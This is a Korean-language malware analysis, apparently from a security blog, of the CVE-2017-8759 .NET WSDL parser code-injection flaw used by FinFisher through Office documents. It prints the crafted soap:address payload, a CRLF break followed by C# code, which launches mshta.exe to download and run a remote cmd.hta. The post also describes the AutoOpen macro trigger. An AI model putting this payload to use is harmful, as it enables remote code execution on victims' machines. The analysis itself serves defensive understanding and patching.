CVE-2017-8759 : WSDL 파서 코드 인젝션

malwares.com 코드분석팀 분석 자료


<부제 : CVE-2017-8759가 뭐길래? >


1. 개요

 
최근 CVE-2017-8759로 명명된 제로데이 취약점의 POC가 공개되었고 핀피셔(FinFisher)는 해당 취약점을 이용해 RTF(Rich Text Format) 문서를 작성했고, 이 파일을 통해서 감시소프트웨어 Finspy 를 러시아어 사용자들을 감염시키기도 하였다. 또한 해당 취약점은 많은 악성코드 제작자들이 사용하고 있고, .NET framework의 대부분 버전에서 발생하기 때문에 매우 크리티컬한 취약점이다.
분석을 통해 해당 취약점이 왜 동작하고, 어떻게 동작하는지 알아보고 현재 어떻게 패치되었는지 알아보자.


※ 참고 : 분석 정보에 나오는 "vuln.kr" 과 "hack.kr"은 내부 분석을 위해 사용된 분석가 도메인으로 악성

           도메인은 아닙니다.



2. 분석 정보 

(1) 취약한 함수

< 그림 1. WSDL Parser Vulnerability >


[그림 1] 은 제로데이로 공개된 CVE-2017-8759 취약점이 발생하는 코드를 Microsoft로부터 발췌한것이며,
System.Runtime.Remoting.metadata.wsdlparser.cs에 정의된 PrintClientProxy 에서 취약점이 발생한다.
이 함수는 XML 파일에서 soap:address 태그로부터 URL을 파싱하게 되는데 첫 번째 행만 유효하고 이후에는 주석처리된다. 그러나 캐리지 리턴(CRLF)을 포함한 데이터를 IsVlidUrl 함수에서 필터링하지 못해 주석 처리를 우회할 수 있고 URL이 아닌 C# 소스코드를 인젝션 할 수 있다.

파란색 효과: 첫번째 soap:address 적용 코드
노란색 효과: 첫번째 이후 적용 코드
캐리지 리턴(CRLF) :  HEX값으로 0x0D0A를 가지며 개행을 표현한다.


< 그림 2. 샘플의 매크로 함수 >


  • 취약점 코드: soap:wsdl=[XML 문서 경로]
CVE-2017-8759로 탐지된 PPT, EXCEL, WORD 문서들에는 공통적으로 매크로 스크립트가 존재한다. Office 프로그램으로 매크로 스크립트 내용을 볼 수 있다.

작성되어있는 스크립트의 함수명은 AutoOpen으로 문서를 열면 바로 동작하게 되어있고, soap:wsdl을 이용해 XML문서를 가져오면서 취약점이 발생한다.


< 그림 3. SOAP XML 파일 >


1. soap:address : http://127.0.0.1:8080?C:\Windows\System32\mshta.exe?http://127.0.0.1:8080/cmd.hta

2. soap:address : ;(캐리티리턴)
if (System.AppDomain.CurrentDomain.GetData(_url.Split('?')[0]) == null) {
                                System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
                                System.AppDomain.CurrentDomain.SetData(_url.Split('?')[0], true);
                        } //

  • 동작코드 System.Diagnostics.Process.Start("C:\Windows\System32\mshta.exe","http://127.0.0.1:8080/cmd.hta")

일반적으로는 2번째 작성된 코드는 주석처리되어 동작하지 않아야하지만, 취약한 코드로 인해 추가적으로 서버에서 파일을 다운로드받아 실행하는 코드가 동작한다.


< 그림 4. cs 파일 >


파싱한 데이터로 C# 코드가 생성되며, 생성된 코드는 .NET Framework의 csc.exe에 의해 컴파일 되어 Office 실행 파일에 의해 DLL로 로드된다. [그림 4]는  mshta.exe를 이용해 cmd.hta를 다운로드받아 실행시킨다.



< 그림 5. 다운로드 파일 >


분석을 위해 임의로 내려받은 파일은 그림판을 실행하는 코드이지만 실제 감염시에는 그림판이 아닌 악성코드가 실행될 확률이 매우 높다.


핀피셔(FinFisher)는 해당 취약점을 이용해 FinSpy(감시소프트웨어)를 러시아어 사용자에게 감염시킨 사례가 있다. 핀피셔(FinFisher)는 정부기관들에게 합법적으로 감시 소프트웨어를 판매하는 영국회사로, PC, ANDROID, IOS 대부분의 플랫폼을 지원한다. 해당 소프트웨어에 감염될 경우 Skype 전화가 도청이 되고, 파일 시스템, 키로깅, 웹캠등 기기를 실시간으로 모니터링한다.



< 그림 6. Process Explorer >


취약점으로 생성된 DLL이 WINWORD.EXE 내부에 인젝션되어 있는 모습을 확인할 수 있다. 하지만 분석중인 컴퓨터는 최신업데이트가 진행되어 있는 Windows 10인 관계로 그림판은 실행되지 않았다. 



< 그림 7. 빌드된 DLL 파일 >


빌드되어 인젝션된 DLL를 IDA로 열어 확인해본 결과, cs파일에 삽입되어 생성됬던 URL과 Proxy함수를 찾아볼 수 있었지만, 한번만 호출 하고 있었다.



< 그림 8. 다시보는 cs 파일 >


  • 치환: 0D0A(\r\n) -> 2F2F(//)


csc.exe에 의해 빌드되었던 cs 소스를 살펴보면 캐리지 리턴으로 입력되어있어야하는 부분에서 %2F%2F(//)가 삽입되었고, 주석(//)으로 치환되어 취약점이 발생하지 않았다. 



< 그림 9. Trigger Vulnerability >


Windows 7에서 테스트한 결과는 PowerShell이 실행되어 cmd.hta를 정상적으로 실행되고 있었으며,

최신 업데이트를 통해 패치할 수 있다는것을 확인할 수 있었다.



< 그림 10. MWS 행위분석 >


MWS 시스템에 파일을 업로드해 확인해본 결과 파일을 다운로드받아 실행하는 동작이 발견되었으며, 모든 오피스에서 발생할 수 있기에 앞으로도 많이 이용될것으로 추측된다. 아직까지 업데이트를 하지 않은 사용자는  .NET framework의 버전을 최신으로 업데이트를 추천한다.




3. 취약한 DotNet 버전
  •  Microsoft .NET Framework 4.7

  •  Microsoft .NET Framework 4.6.2

  •  Microsoft .NET Framework 4.6.1

  •  Microsoft .NET Framework 4.6

  •  Microsoft .NET Framework 4.5.2

  •  Microsoft .NET Framework 3.5.1

  •  Microsoft .NET Framework 3.5

  •  Microsoft .NET Framework 2.0 SP2


4. 연관 정보


[사진이 잘 안보일 경우 클릭시 원본 사진으로 볼 수 있습니다]

< 그림 11. FinFisher 연관 정보 >



5. 파일 정보


 해쉬

 0B4EF455E385B750D9F90749F1467EAF00E46E8D6C2885C260E1B78211A51684

 파일크기

 52,911 Bytes

 유입파일명

 Проект.doc

 태그

 rtf, cve-2017-8759, exploit, trojan

 주요동작

 파일 빌드 및 DLL 인젝션

 초기감염방법

 이메일, 다운로드

 재실행방법

 X

 네트워크연결

 -




이 글을 공유하기

댓글(0)